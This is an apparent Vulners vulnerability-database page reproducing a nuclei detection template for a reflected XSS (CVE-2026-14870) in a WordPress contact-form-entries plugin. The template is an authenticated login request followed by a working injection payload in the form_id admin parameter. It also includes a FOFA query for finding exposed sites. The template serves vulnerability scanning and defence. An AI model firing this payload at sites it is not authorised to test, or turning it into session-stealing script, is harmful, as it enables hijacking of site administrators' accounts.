Lucene search
+L

WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 1 Views

Reflected XSS in contact-form-entries via an admin page parameter.

Related
Refs
Code
id: CVE-2026-14870

info:
  name: WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    Database for Contact Form 7, WPforms, Elementor forms WordPress plugin < 1.5.3 contains a reflected XSS caused by improper sanitization and escaping of a parameter in an admin page, letting attackers execute scripts against admin users, exploit requires admin access.
  impact: |
    Attackers can execute scripts in admin context, potentially leading to session hijacking or full admin control.
  remediation: |
    Upgrade to version 1.5.3 or later.
  reference:
    - https://wpscan.com/vulnerability/d574b78c-df04-4dab-bd33-e3a22ff51918/
    - https://wordpress.org/plugins/contact-form-entries/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14870
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-14870
    epss-score: 0.00251
    epss-percentile: 0.1561
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: crm-perks
    product: contact-form-entries
    framework: wordpress
    fofa-query: body="/wp-content/plugins/contact-form-entries/"
  tags: cve,cve2026,wordpress,wp-plugin,contact-form-entries,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=x%27%3Balert%28document.domain%29// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - contains(body, "form_id=x';alert(document.domain)//'")
        condition: and
# digest: 4b0a00483046022100e4e376c44d5a7e936ee653e07c3b9aad365e38e994ed7817b509fbaeb1ed692a022100bd109dd5e01e637e0cab95a6fe512340c793f01b12ed0834bad84305e79e4253:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Oct 2026 14:07Current
5.9Medium risk
Vulners AI Score5.9
EPSS0.00467
1